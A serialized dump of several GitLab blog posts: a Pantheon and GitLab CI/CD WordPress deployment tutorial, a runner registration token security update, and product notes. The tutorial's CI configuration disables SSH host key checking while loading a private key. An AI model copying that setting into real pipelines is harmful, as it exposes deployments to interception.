failure.\nWhy? Projects inevitably change once they get started.\nTrying to map moving targets months in advance is an exercise in futility that ends in projects that are rushed, incomplete, or late anyway. Reducing the cycle time and focusing instead on iterating towards smaller goals will have a much higher likelihood of success.\nTeams that master iteration respond to feedback faster, adapt more quickly, and complete their projects faster than their large-scale counterparts.\nBy shortening the timeframe and reducing the scope of each goal, you're able to respond to changing needs, adjust your long-term plans with the feedback you receive along the way, and radically reduce engineering risk.\n\nWhen planning for major milestones (when certain tools will be retired or migrated, when updates will occur, team training, etc), focus instead on the many small steps between them.\nA smaller deploy introduces less changes that can potentially introduce issues, ensuring that each steps moves smoothly.\n\n### 5. Prioritize legacy data\n\nPreventing data loss is a key priority during the modernization process.\nEvaluate the data being processed, moved, and stored and put it into categories.\nWhether it's \"high, moderate, or low\" or \"green, yellow, and red,\" make sure the team understands each data category and what safeguards to have in place for each.\n\n### 6. Don't modernize bad habits\n\nMany organizations have squandered a clean slate by infusing new tools with old habits.\nTake a close look at your development workflow and identify instances of duplicated data, manual tasks, inefficiencies, and other habits that could derail your application modernization process in its tracks.\nMany of these practices are due to a lack of training or documentation – both easily fixable problems.\nA new tool doesn't solve bad habits, but bad habits can derail new tools.\n\n### 7. Close the skill gap\n\nThe number of programming languages, tools, systems, and methodologies that developers have to know is immense.\nIt's a challenge for teams to develop the knowledge they need to work quickly, and adding a new system to the mix should be considered carefully.\nKeeping teams in the loop on changes and then dedicating resources to make sure they understand how to navigate the new workflows will be the _most important part of the application modernization process_.\nMake this an ongoing, long-term commitment to organizational success and continue to document best practices long after legacy systems are turned off. Tools are only as good as the people who use them.\n\nAre you ready to tackle application modernization? [Just commit.](/blog/application-modernization-best-practices/)\n",[1384,4103],{"slug":30215,"featured":6,"template":678},"application-modernization-best-practices","content:en-us:blog:application-modernization-best-practices.yml","Application Modernization Best Practices","en-us/blog/application-modernization-best-practices.yml","en-us/blog/application-modernization-best-practices",{"_path":30221,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30222,"content":30228,"config":30235,"_id":30237,"_type":16,"title":30238,"_source":17,"_file":30239,"_stem":30240,"_extension":20},"/en-us/blog/connecting-gitlab-and-pantheon-streamline-wordpress-drupal-workflows",{"title":30223,"description":30224,"ogTitle":30223,"ogDescription":30224,"noIndex":6,"ogImage":30225,"ogUrl":30226,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30226,"schema":30227},"Streamlining Drupal and WordPress with GitLab and Pantheon","Our guest author, a Developer Programs Engineer at Pantheon, shares how to automate WordPress deployments using GitLab CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680516/Blog/Hero%20Images/gitlab-pantheon.png","https://about.gitlab.com/blog/connecting-gitlab-and-pantheon-streamline-wordpress-drupal-workflows","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to connect GitLab and Pantheon to streamline Drupal and WordPress workflows\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andrew Taylor\"}],\n        \"datePublished\": \"2019-03-26\",\n      }",{"title":30229,"description":30224,"authors":30230,"heroImage":30225,"date":30232,"body":30233,"category":734,"tags":30234},"How to connect GitLab and Pantheon to streamline Drupal and WordPress workflows",[30231],"Andrew Taylor","2019-03-26","\n\nAs a member of the developer relations team at [Pantheon](https://pantheon.io), I’m always looking for new ways to help WordPress and Drupal developers solve workflow problems with automation. To this end, I love exploring new tools and how they can be used effectively together.\n\n### One frequent problem I see teams facing is the dreaded single staging server.\n\nIt’s not fun to wait in line for your turn to use the staging server or to send clients a URL and tell them to review some work but ignore other, incomplete pieces.\n\n[Multidev environments](https://pantheon.io/docs/multidev/), one of Pantheon’s advanced developer tools, solves this issue by allowing environments matching Git branches to be created on demand. Each multidev environment has its own URL and database, making independent work, QA, and approval possible without developers stepping on each other's toes.\n\nHowever, Pantheon doesn’t provide source control management (SCM) or continuous integration and continuous deployment (CI/CD) tooling. Instead, the platform is flexible enough to be integrated with your preferred tools.\n\n### The next problem I see consistently is teams using different tools to manage development work and to build and deploy that work.\n\nFor example, using one tool for SCM and something else for CI/CD. Having to jump between tools to edit code and diagnose failing jobs is cumbersome.\n\n[GitLab](/) solves this problem by providing a full suite of development workflow tools, such as SCM, with features like issues and merge requests, best-in-class CI/CD, and a container registry, to name a few. I haven't come across another application that is so complete to manage development workflow.\n\nAs someone who loves automation, I explored connecting Pantheon to GitLab so that commits to the master branch on GitLab deploy to the main dev environment on Pantheon. Additionally, merge requests on GitLab can create and deploy code to Pantheon multidev environments.\n\nThis tutorial will walk you through setting up the connection between GitLab and Pantheon so you, too, can streamline your WordPress and Drupal workflow.\n\nThis can be done with [GitLab repository mirroring](https://docs.gitlab.com/ee/user/project/repository/repository_mirroring.html), but we will be setting it up manually to get some experience with [GitLab CI](https://docs.gitlab.com/ee/ci/) and have the ability to expand beyond just deployment in the future.\n\n## Background\n\nFor this post, you need to know that Pantheon breaks each site down into three components: code, database, and files.\n\nThe code portion of a Pantheon site includes the CMS files, such as WordPress core, plugins and themes. These files are managed in a [Git repository](https://git-scm.com/book/en/v2/Git-Basics-Getting-a-Git-Repository) hosted by Pantheon, which means we can deploy code from GitLab to Pantheon with Git.\n\nWhen Pantheon refers to files, it is the media files, such as images, for your site. These are typically uploaded by site users and are ignored in Git.\n\nYou can [create a free account](https://pantheon.io/register), learn more about the [Pantheon workflow](https://pantheon.io/docs/pantheon-workflow), or [sign up for a live demo](https://pantheon.io/live-demo) on pantheon.io.\n\n## Assumptions\n\nMy project is named `pantheon-gitlab-blog-demo`, both on Pantheon and GitLab. You should use a unique project name. This tutorial uses a WordPress site. Drupal can be substituted, but some modification will be needed.\n\nI'll also be using the [Git command line](https://git-scm.com/book/en/v2/Getting-Started-The-Command-Line) but you can substitute a [graphical interface](https://git-scm.com/book/en/v2/Appendix-A%3A-Git-in-Other-Environments-Graphical-Interfaces) if you prefer.\n\n## Create the projects\n\nFirst up, create a [new GitLab project](https://docs.gitlab.com/ee/user/project/working_with_projects.html#create-a-project) – we'll come back to this in a little bit.\n\nNow, [create a new WordPress site on Pantheon](https://pantheon.io/docs/launch-wordpress/). After your new site is created, you will need to install WordPress for the site dashboard.\n\n_You might be tempted to make some changes, such as adding or removing plugins, but please refrain. We haven't connected the site to GitLab yet and want to make sure all code changes, e.g. adding or removing plugins, go through GitLab._\n\nAfter WordPress is installed, go back to the Pantheon site dashboard and change the development mode to Git.\n\n![Pantheon Dashboard](https://about.gitlab.com/images/blogimages/pantheon-dashboard-after-fresh-wordpress-install.png){: .shadow.medium.center}\n\n## Initial commit to GitLab\n\nNext, we need to get the starting WordPress code from the Pantheon site over to GitLab. In order to do this, we will clone the code from the Pantheon site Git repository locally, then push it to the GitLab repository.\n\nTo make this easier, and more secure, [add an SSH key to Pantheon](https://pantheon.io/docs/ssh-keys/) to avoid entering your password when cloning Pantheon Git repository. While you're at it, [add an SSH key to GitLab](https://docs.gitlab.com/ee/ssh/) as well.\n\nTo do this, clone the Pantheon site locally by copying the command in the Clone with Git drop-down field from the site dashboard.\n\n![CPantheon git connection](https://about.gitlab.com/images/blogimages/pantheon-git-connection-info.png){: .shadow.center}\n\n_If you need help, see the [Pantheon Start With Git](https://pantheon.io/docs/git/#clone-your-site-codebase) documentation._\n\nNext, we want to change the `git remote origin` to point to GitLab, instead of Pantheon. This can be done with the [`git remote` command](https://git-scm.com/docs/git-remote).\n\nHead over to your GitLab project and grab the repository URL, which can be found at in the Clone drop-down of the project details screen. Be sure to use the Clone with SSH variant of the GitLab repository URL, since we set up an SSH key earlier.\n\n![Gitlab git connection](https://about.gitlab.com/images/blogimages/gitlab-git-connection-info.png){: .shadow.medium.center}\n\nThe default `git remote` for the local copy of our code repository is `origin`. We can change it with `git remote set-url origin [GitLab repository URL]`, replacing `[GitLab repository URL]` with your actual GitLab repository URL.\n\nFinally, run `git push origin master --force` to send the WordPress code from the Pantheon site to GitLab.\n\n_The --force flag is only needed as part of this one-time step. Subsequent `git push` commands to GitLab won't need it._\n\n## Set up credentials and variables\n\nRemember how we added an SSH key locally to authorize with Pantheon and GitLab? Well, an SSH token can also be used to authorize GitLab and Pantheon.\n\nGitLab has some great documentation, and we will be looking at the [SSH keys when using the Docker executor section of the Using SSH keys with GitLab CI/CD doc](https://docs.gitlab.com/ee/ci/ssh_keys/#ssh-keys-when-using-the-docker-executor).\n\nAt this point, we will need to do the first two steps: _Create a new SSH key pair locally with ssh-keygen and Add the private key as a variable to your project._\n\nWhen done, `SSH_PRIVATE_KEY` should be set as a [GitLab CI/CD Environment Variables](https://docs.gitlab.com/ee/ci/variables/) in the project settings.\n\nTo take care of the third and fourth steps, create `.gitlab-ci.yml` file with the following contents:\n\n```\nbefore_script:\n  # See https://docs.gitlab.com/ee/ci/ssh_keys/\n  - eval $(ssh-agent -s)\n  - echo \"$SSH_PRIVATE_KEY\" | tr -d '\\r' | ssh-add - > /dev/null\n  - mkdir -p $HOME/.ssh && echo \"StrictHostKeyChecking no\" >> \"$HOME/.ssh/config\"\n  - git config --global user.email \"$GITLAB_USER_EMAIL\"\n  - git config --global user.name \"Gitlab CI\"\n  ```\n\nDon't commit the `.gitlab-ci.yml` file just yet, we will be adding more to it in the next section.\n\nNow, we need to take care of step 5, _add the public key from the one you created in the first step to the services that you want to have an access to from within the build environment._\n\nIn our case, the service we want to access from GitLab is Pantheon. Follow the Pantheon doc to [Add Your SSH Key to Pantheon](https://pantheon.io/docs/ssh-keys/#add-your-ssh-key-to-pantheon) to complete this step.\n\n_Be sure that the private SSH key is in GitLab and the public key is on Pantheon_\n\nWe will also need to set some additional environment variables. The first one should be named PANTHEON_SITE, and the value will be the machine name of your `Pantheon site`. and the value will be the *machine name* of your Pantheon site.\n\nYou can get the machine name from the end of the Clone with Git command. Since you already cloned the site locally, it will be the directory name of your local repository.\n\n![wordpress machine name](https://about.gitlab.com/images/blogimages/pantheon-machine-name.png){: .shadow.medium.center}\n\nThe next GitLab CI environment variable to set is `PANTHEON_GIT_URL`, which will be the Git repository URL of the Pantheon site that we used earlier.\n\n_Enter just the SSH repository URL, leaving off `git clone` and the site machine name at the end._\n\nPhew! Now that setup is done, we can move on to finishing our `.gitlab-ci.yml` file.\n\n## Create the deployment job\n\nWhat we will be doing with GitLab CI initially is very similar to what we did with Git repositories earlier. This time though, we will add the Pantheon repository as a second Git remote and then push the code from GitLab to Pantheon.\n\nTo do this, we will set up a [stage](https://docs.gitlab.com/ee/ci/yaml/#stages) named `deploy` and a [job](https://docs.gitlab.com/ee/ci/jobs/) named `deploy:dev`, as it will deploy to the dev environment on Pantheon. The resulting `.gitlab-ci.yml` file should look like this:\n\n```\nstages:\n- deploy\n\nbefore_script:\n  # See https://docs.gitlab.com/ee/ci/ssh_keys/\n  - eval $(ssh-agent -s)\n  - echo \"$SSH_PRIVATE_KEY\" | tr -d '\\r' | ssh-add - > /dev/null\n  - mkdir -p $HOME/.ssh && echo \"StrictHostKeyChecking no\" >> \"$HOME/.ssh/config\"\n  - git config --global user.email \"$GITLAB_USER_EMAIL\"\n  - git config --global user.name \"Gitlab CI\"\n\ndeploy:dev:\n  stage: deploy\n  environment:\n    name: dev\n    url: https://dev-$PANTHEON_SITE.pantheonsite.io/\n  script:\n    - git remote add pantheon $PANTHEON_GIT_URL\n    - git push pantheon master --force\n  only:\n    - master\n```\n\n`SSH_PRIVATE_KEY`, `PANTHEON_SITE`, and `PANTHEON_GIT_URL` should all look familiar - they are the environment variables we set up earlier. Having environment variables will allow us to re-use the values multiple times in our `.gitlab-ci.yml` file, while having one place to update them, should they change in the future.\n\nFinally, add, commit, and push the `.gitlab-ci.yml` file to send it to GitLab.\n\n## Verify the deployment\n\nIf everything was done correctly, the `deploy:dev` job run on GitLab CI/CD, succeed and send the `.gitlab-ci.yml` commit to Pantheon. Let's take a look!\n\n![deploy job](https://about.gitlab.com/images/blogimages/gitlab-deploy-dev-job.png){: .shadow.center}\n\n![deploy job passing](https://about.gitlab.com/images/blogimages/gitlab-deploy-dev-job-passed.png){: .shadow.center}\n\n![gitlab commit on pantheon dev](https://about.gitlab.com/images/blogimages/gitlab-commits-on-pantheon-dev.png){: .shadow.center}\n\n## Sending merge request branches to Pantheon\n\nThis next section makes use of my favorite Pantheon feature, [multidev](https://pantheon.io/docs/multidev), which allows you to create additional Pantheon environments on demand associated with Git branches.\n\nThis section is entirely optional as [multidev access is restricted](https://pantheon.io/docs/multidev-faq/), however, if you do have multidev access, having GitLab merge requests automatically create multidev environments on Pantheon is a huge workflow improvement.\n\nWe will start by making a new Git branch locally with `git checkout -b multidev-support`. Now, let's edit `.gitlab-ci.yml` again.\n\nI like to use the merge request number in the Pantheon environment name. For example, the first merge request would be `mr-1`, the second would be `mr-2`, and so on.\n\nSince the merge request changes, we need to define these Pantheon branch names dynamically. GitLab makes this easy by providing [predefined environment](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) variables.\n\nWe can use `$CI_MERGE_REQUEST_IID`, which provides the merge request number. Let's put that to use, along with our global environment variables from earlier, and add a new deploy:multidev job to the end of our `.gitlab-ci.yml` file.\n\n```\ndeploy:multidev:\n  stage: deploy\n  environment:\n    name: multidev/mr-$CI_MERGE_REQUEST_IID\n    url: https://mr-$CI_MERGE_REQUEST_IID-$PANTHEON_SITE.pantheonsite.io/\n  script:\n    # Checkout the merge request source branch\n    - git checkout $CI_COMMIT_REF_NAME\n    # Add the Pantheon git repository as an additional remote\n    - git remote add pantheon $PANTHEON_GIT_URL\n    # Push the merge request source branch to Pantheon\n    - git push pantheon $CI_COMMIT_REF_NAME:mr-$CI_MERGE_REQUEST_IID --force\n  only:\n    - merge_requests\n```\n\nThis should look very similar to our `deploy:dev` job, only pushing a branch to Pantheon instead of `master`.\n\nAfter you add and commit the updated `.gitlab-ci.yml` file, push this new branch to GitLab with `git push -u origin multidev-support`.\n\nNext, let's create a new merge request from our `multidev-support` branch by following the _Create merge request_ prompt.\n\n![create merge request](https://about.gitlab.com/images/blogimages/gitlab-create-merge-request-prompt.png){: .shadow.medium.center}\n\nAfter creating the merge request, look for the  CI/CD job `deploy:multidev` to run.\n\n![multidev deploy success](https://about.gitlab.com/images/blogimages/multidev-branch-deploy-success.png){: .shadow.medium.center}\n\nLook at that – a new branch was sent to Pantheon. However, when we go to the multidev section of the site dashboard on Pantheon there isn't a new multidev environment.\n\n![multidev branch](https://about.gitlab.com/images/blogimages/pantheon-no-multidev-environments.png){: .shadow.medium.center}\n\nLet's look at the _Git_ Branches section.\n\n![mr branch](https://about.gitlab.com/images/blogimages/pantheon-mr-1-branch.png){: .shadow.medium.center}\n\nOur `mr-1` branch did make it to Pantheon after all. Go ahead and create an environment from the `mr-1` branch.\n\n![create multidev](https://about.gitlab.com/images/blogimages/pantheon-mr-1-multidev-creation.png){: .shadow.medium.center}\n\nOnce the multidev environment has been created, head back to GitLab and look at the _Operations > Environments_ section. You will notice entries for `dev` and `mr-1`.\n\nThis is because we added an `environment` entry with `name` and `url` to our CI/CD jobs. If you click on the open environment icon, you will be taken to the URL for the multidev on Pantheon.\n\n## Automating multidev creation\n\nWe _could_ stop here and try to remember to create a multidev environment each time there is a new merge request, but we can automate that process as well!\n\nPantheon has a command line tool, [Terminus](https://pantheon.io/docs/terminus/), that allows you to interact with the platform in an automated fashion. Terminus will allow us to provision our multidev environments from the command line – perfect for use in [GitLab CI](https://docs.gitlab.com/ee/ci/).\n\nWe will need a new merge request to test this, so let's create a new branch with `git checkout -b auto-multidev-creation`.\n\nIn order to use Terminus in GitLab CI/CD jobs we will need a machine token to authenticate with Terminus and a container image with Terminus available.\n\n[Create a Pantheon machine token](https://pantheon.io/docs/machine-tokens/#create-a-machine-token), save it to a safe place, and add it as a global GitLab environment variable named `PANTHEON_MACHINE_TOKEN`.\n\n_If you don't remember how to add GitLab environment variables, scroll up to where we defined `PANTHEON_SITE` earlier in the tutorial._\n\n## Building a Dockerfile with Terminus\n\nIf you don't have Docker or aren't comfortable working with `Dockerfile` files, you can use my image `registry.gitlab.com/ataylorme/pantheon-gitlab-blog-demo:latest` and skip this section.\n\n[GitLab has a container registry](https://docs.gitlab.com/ee/user/packages/container_registry/index.html) that allows us to build and host a Dockerfile for use in our project. Let's create a Dockerfile that has Terminus available, so we can interact with Pantheon.\n\nTerminus is a PHP-based command line tool, so we will start with a PHP image. I prefer to install Terminus via Composer so I'll be using [the official Docker Composer image](https://hub.docker.com/_/composer) as a base. Create a `Dockerfile` in your local repository directory with the following contents:\n\n```\n# Use the official Composer image as a parent image\nFROM composer:1.8\n\n# Update/upgrade apk\nRUN apk update\nRUN apk upgrade\n\n# Make the Terminus directory\nRUN mkdir -p /usr/local/share/terminus\n\n# Install Terminus 2.x with Composer\nRUN /usr/bin/env COMPOSER_BIN_DIR=/usr/local/bin composer -n --working-dir=/usr/local/share/terminus require pantheon-systems/terminus:\"^2\"\n```\nFollow the _Build and push images_ section of the [container registry documentation](https://gitlab.com/help/user/project/container_registry#build-and-push-images) to build an image from the `Dockerfile` and upload it to GitLab.\n\nVisit the _Registry_ section of your GitLab project. If things went according to plan you will see your image listed. Make a note of the image tag link, as we will need to use that in our `.gitlab-ci.yml` file.\n\n![container registry](https://about.gitlab.com/images/blogimages/gitlab-container-registry.png){: .shadow.center}\n\nThe `script` section of our `deploy:multidev` job is starting to get long, so let's move it to a dedicated file. Create a new file `private/multidev-deploy.sh` with the following contents:\n\n```\n#!/bin/bash\n\n# Store the mr- environment name\nexport PANTHEON_ENV=mr-$CI_MERGE_REQUEST_IID\n\n# Authenticate with Terminus\nterminus auth:login --machine-token=$PANTHEON_MACHINE_TOKEN\n\n# Checkout the merge request source branch\ngit checkout $CI_COMMIT_REF_NAME\n\n# Add the Pantheon Git repository as an additional remote\ngit remote add pantheon $PANTHEON_GIT_URL\n\n# Push the merge request source branch to Pantheon\ngit push pantheon $CI_COMMIT_REF_NAME:$PANTHEON_ENV --force\n\n# Create a function for determining if a multidev exists\nTERMINUS_DOES_MULTIDEV_EXIST()\n{\n    # Stash a list of Pantheon multidev environments\n    PANTHEON_MULTIDEV_LIST=\"$(terminus multidev:list ${PANTHEON_SITE} --format=list --field=id)\"\n\n    while read -r multiDev; do\n        if [[ \"${multiDev}\" == \"$1\" ]]\n        then\n            return 0;\n        fi\n    done \u003C\u003C\u003C \"$PANTHEON_MULTIDEV_LIST\"\n\n    return 1;\n}\n\n# If the mutltidev doesn't exist\nif ! TERMINUS_DOES_MULTIDEV_EXIST $PANTHEON_ENV\nthen\n    # Create it with Terminus\n    echo \"No multidev for $PANTHEON_ENV found, creating one...\"\n    terminus multidev:create $PANTHEON_SITE.dev $PANTHEON_ENV\nelse\n    echo \"The multidev $PANTHEON_ENV already exists, skipping creating it...\"\nfi\n```\n\nThe script is in the `private` directory as [it is not web accessible on Pantheon](https://pantheon.io/docs/private-paths/). Now that we have a script for our multidev logic, update the `deploy:multidev` section of `.gitlab-ci.yml` so that it looks like this:\n\n```\ndeploy:multidev:\n  stage: deploy\n  environment:\n    name: multidev/mr-$CI_MERGE_REQUEST_IID\n    url: https://mr-$CI_MERGE_REQUEST_IID-$PANTHEON_SITE.pantheonsite.io/\n  script:\n    # Run the multidev deploy script\n    - \"/bin/bash ./private/multidev-deploy.sh\"\n  only:\n    - merge_requests\n```\n\nIn order to make sure our jobs run with the custom image created earlier, add an `image` definition with the registry URL to `.gitlab-ci.yml`. My complete `.gitlab-ci.yml` file now looks like this:\n\n```\nimage: registry.gitlab.com/ataylorme/pantheon-gitlab-blog-demo:latest\n\nstages:\n- deploy\n\nbefore_script:\n  # See https://docs.gitlab.com/ee/ci/ssh_keys/\n  - eval $(ssh-agent -s)\n  - echo \"$SSH_PRIVATE_KEY\" | tr -d '\\r' | ssh-add - > /dev/null\n  - mkdir -p $HOME/.ssh && echo \"StrictHostKeyChecking no\" >> \"$HOME/.ssh/config\"\n  - git config --global user.email \"$GITLAB_USER_EMAIL\"\n  - git config --global user.name \"Gitlab CI\"\n\ndeploy:dev:\n  stage: deploy\n  environment:\n    name: dev\n    url: https://dev-$PANTHEON_SITE.pantheonsite.io/\n  script:\n    - git remote add pantheon $PANTHEON_GIT_URL\n    - git push pantheon master --force\n  only:\n    - master\n\ndeploy:multidev:\n  stage: deploy\n  environment:\n    name: multidev/mr-$CI_MERGE_REQUEST_IID\n    url: https://mr-$CI_MERGE_REQUEST_IID-$PANTHEON_SITE.pantheonsite.io/\n  script:\n    # Run the multidev deploy script\n    - \"/bin/bash ./private/multidev-deploy.sh\"\n  only:\n    - merge_requests\n```\n\nAdd, commit, and push `private/multidev-deploy.sh` and `.gitlab-ci.yml`. Now, head back to GitLab and wait for the CI/CD job to finish. The multidev creation takes a few minutes, so be patient.\n\nWhen it is finished, go check out the multidev list on Pantheon. Voila! The `mr-2` multidev is there.\n\n![mr-2](https://about.gitlab.com/images/blogimages/pantheon-mr-2-multidev.png){: .shadow.medium.center}\n\n## Conclusion\n\nOpening a merge request and having an environment spin up automatically is a powerful addition to any team's workflow.\n\nBy leveraging the powerful tools offered by both GitLab and Pantheon, we can connect GitLab to Pantheon in an automated fashion.\n\nSince we used GitLab CI/CD, there is room for growth in our workflow as well. Here are a few ideas to get you started:\n* Add a build step.\n* Add automated testing.\n* Add a job to enforce coding standards.\n* Add [dynamic application security testing](https://docs.gitlab.com/ee/user/application_security/dast/).\n\nDrop me a line with any thoughts you have on GitLab, Pantheon, and automation.\n\nP.S. Did you know Terminus, Pantheon’s command line tool, [is extendable via plugins](https://pantheon.io/docs/terminus/plugins/)?\n\nOver at Pantheon, we have been hard at work on version 2 of our [Terminus Build Tools Plugin](https://github.com/pantheon-systems/terminus-build-tools-plugin/), complete with GitLab support. If you don't want to do all this setup for each project, I encourage you to check it out and help us test the v2 beta. The terminus `build:project:create` command just needs a Pantheon token and GitLab token. From there, it will spin up one of our example projects, complete with Composer and automated testing, create a new project on GitLab, a new site on Pantheon, and connect the two by setting up environment variables and SSH keys.\n\n### About the guest author\n\nAndrew Taylor is a Developer Programs Engineer at [Pantheon](https://pantheon.io/).\n",[4103,232,267,1444],{"slug":30236,"featured":6,"template":678},"connecting-gitlab-and-pantheon-streamline-wordpress-drupal-workflows","content:en-us:blog:connecting-gitlab-and-pantheon-streamline-wordpress-drupal-workflows.yml","Connecting Gitlab And Pantheon Streamline Wordpress Drupal Workflows","en-us/blog/connecting-gitlab-and-pantheon-streamline-wordpress-drupal-workflows.yml","en-us/blog/connecting-gitlab-and-pantheon-streamline-wordpress-drupal-workflows",{"_path":30242,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30243,"content":30248,"config":30254,"_id":30256,"_type":16,"title":30257,"_source":17,"_file":30258,"_stem":30259,"_extension":20},"/en-us/blog/security-incident-runner-registration-token",{"title":30244,"description":30245,"ogTitle":30244,"ogDescription":30245,"noIndex":6,"ogImage":12013,"ogUrl":30246,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30246,"schema":30247},"Project runner registration token security update","How we responded to a vulnerability in quick actions for issues that can expose project runner registration tokens to unauthorized users.","https://about.gitlab.com/blog/security-incident-runner-registration-token","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"An update on project runner registration token exposed through issues quick actions vulnerability\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kathy Wang\"}],\n        \"datePublished\": \"2019-03-25\",\n      }",{"title":30249,"description":30245,"authors":30250,"heroImage":12013,"date":30251,"body":30252,"category":674,"tags":30253},"An update on project runner registration token exposed through issues quick actions vulnerability",[29725],"2019-03-25","\n\nOn Mar. 20 2019 we released a [critical security release](/releases/2019/03/20/critical-security-release-gitlab-11-dot-8-dot-3-released/) for a vulnerability in quick actions for issues that can expose project runner registration tokens to unauthorized users. This was originally reported to us on Mar. 14, 2019 through our public HackerOne program (identified by [jobert](https://hackerone.com/jobert)).\n\n## Response and mitigation\n\nIn order to mitigate this issue, we developed and applied a patch on GitLab.com on Mar. 17, 2019, and expedited the release of a critical security fix to ensure that both ourselves, and our self-managed customers received a timely mitigation.\n\n### Action required\n\nOn Mar. 24, 2019 we reset runner registration tokens for all projects hosted on GitLab.com. If you are a GitLab.com user, and have automation in place that relies on runner registration tokens, please [have the tokens reset following instructions from the official documentation](https://docs.gitlab.com/ee/ci/runners/#reset-the-runner-registration-token-for-a-project). If you do not have automation in place that relies on running registration tokens, no further action is required on your part.\n\n### Results of investigation\n\nWe have performed an initial investigation and found no evidence to suggest that there has been any security compromise to any project as a result of this issue, but we will continue to investigate and explore ways to help better detect such issues moving forward.\n\nIn keeping with our [company value of transparency](https://handbook.gitlab.com/handbook/values/#transparency) we also believe in communicating about such incidents clearly and promptly. We apologize for the impact this issue may have caused to our users. GitLab takes securing your information and your data extremely seriously. We have significantly grown the size of our internal security team in the last six months, with further plans to grow in 2019 and beyond. We will learn from this incident as we continue to improve upon our security posture even further.\n\nIf you have any questions, please contact us via [support.gitlab.com](https://support.gitlab.com/).\n\n*Updated on March 28, 2019*\nWe are modifying our previous recommendation for users who have automation in place that may have been impacted by the runner registration token reset. The paragraph should read as the following:\n\nOn Mar. 24, 2019 we reset runner registration tokens for all projects hosted on GitLab.com. If you are a GitLab.com user, and have automation in place that relies on runner registration tokens, please make sure that you update the automation script to use the new registration token. If you do not have automation in place that relies on running registration tokens, no further action is required on your part.\n",[674],{"slug":30255,"featured":6,"template":678},"security-incident-runner-registration-token","content:en-us:blog:security-incident-runner-registration-token.yml","Security Incident Runner Registration Token","en-us/blog/security-incident-runner-registration-token.yml","en-us/blog/security-incident-runner-registration-token",{"_path":30261,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30262,"content":30266,"config":30271,"_id":30273,"_type":16,"title":30274,"_source":17,"_file":30275,"_stem":30276,"_extension":20},"/en-us/blog/six-more-months-ci-cd-github",{"title":30263,"description":27479,"ogTitle":30263,"ogDescription":27479,"noIndex":6,"ogImage":17364,"ogUrl":30264,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30264,"schema":30265},"Extending free use of CI/CD for GitHub on GitLab.com","https://about.gitlab.com/blog/six-more-months-ci-cd-github","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Extending free use of CI/CD for GitHub on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2019-03-21\",\n      }",{"title":30263,"description":27479,"authors":30267,"heroImage":17364,"date":30268,"body":30269,"category":299,"tags":30270},[16962],"2019-03-21","\n\nUPDATE: We've [extended again until Mar. 22, 2020](/blog/ci-cd-github-extended-again/)\n\n[CI/CD is one of the best parts of GitLab](/topics/ci-cd/). Our robust feature set and powerful Runner architecture have earned us some strong industry accolades. While we believe using GitLab end to end as a single application is the best experience, we also believe in [playing well with others](/handbook/product/gitlab-the-product/#plays-well-with-others) so that you can use the tools you want without vendor lock-in. In this spirit, we built [CI/CD for external repos](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/) and [CI/CD for GitHub](/solutions/github/) to allow you to host your code repositories on GitHub.com, GitHub Enterprise, BitBucket, or any Git server, while using GitLab CI/CD to build, test, and deploy your code.\n\nWe decided to extend the deadline for using CI/CD for external repos, including CI/CD for GitHub, until **Sep. 22, 2019**. You’ll now have an additional six months to enjoy CI/CD for external repos as a [Free or Bronze](/user on GitLab.com. This feature will continue to be part of the [Premium tier](/pricing/premium/) for GitLab Self-managed.\n\n## Always free for open source\n\nThis extension applies to private repos hosted on GitLab.com. As part of our commitment to open source, public projects get [all the features of Gold for free](/pricing/). GitLab CI/CD for GitHub works by automatically mirroring your repos to GitLab.com. As such, if you have a public project on GitHub, it will also be public on GitLab so you can always take advantage of GitLab CI/CD for public projects.\n\n## Why we're extending the offer\n\nIn full [transparency](https://handbook.gitlab.com/handbook/values/#transparency), there are a few reasons we decided on an extension.\n\nThe first reason is that we didn’t want to ruin anyone’s day by shutting off functionality without fair warning. We don’t currently have all of the instrumentation in place to give us confidence that we can appropriately notify users, so we'll spend some time in the coming months to build this ability. We want to give ample opportunity for everyone currently enjoying the functionality on GitLab.com Free and Starter to make the choice to upgrade or migrate.\n\nThe second reason is the changing CI/CD market landscape. With recent developments – like the [consolidation of the CI/CD market](/blog/ci-cd-market-consolidation/) and the launch of the [Continuous Delivery Foundation](/blog/gitlab-joins-cd-foundation/) – we’ve seen greater interest in using GitLab CI/CD with other Git hosting options. Extending the timeline will allow more folks to test it out.\n\nFinally, we want to take this time to capture additional feedback on how you use this feature so we can improve it. If you are using GitLab CI/CD with any external Git repository, like GitHub.com, GitHub Enterprise, BitBucket, or even  your own vanilla Git server, we’d love to hear why you keep your code where you do, what you like about GitLab CI/CD, and what we can improve. We have several open channels for feedback so please leave a comment on this post, send us a message on Twitter with the hashtag #GitLabCICD, or log an issue with a bug fix or feature request on our [open issue tracker](https://gitlab.com/gitlab-org/gitlab-ce/issues). We hope you enjoy an extra six months of usage and hope to hear from you soon.\n",[110,4103,267],{"slug":30272,"featured":6,"template":678},"six-more-months-ci-cd-github","content:en-us:blog:six-more-months-ci-cd-github.yml","Six More Months Ci Cd Github","en-us/blog/six-more-months-ci-cd-github.yml","en-us/blog/six-more-months-ci-cd-github",{"_path":30278,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":30279,"content":30284,"config":30291,"_id":30293,"_type":16,"title":30294,"_source":17,"_file":30295,"_stem":30296,"_extension":20},"/en-us/blog/enabling-global-search-elasticsearch-gitlab-com",{"title":30280,"description":30281,"ogTitle":30280,"ogDescription":30281,"noIndex":6,"ogImage":28542,"ogUrl":30282,"ogSiteName":1180,"ogType":1181,"canonicalUrls":30282,"schema":30283},"Lessons from implementing global code search on GitLab.com","Read about some of the dead ends we've encountered on the 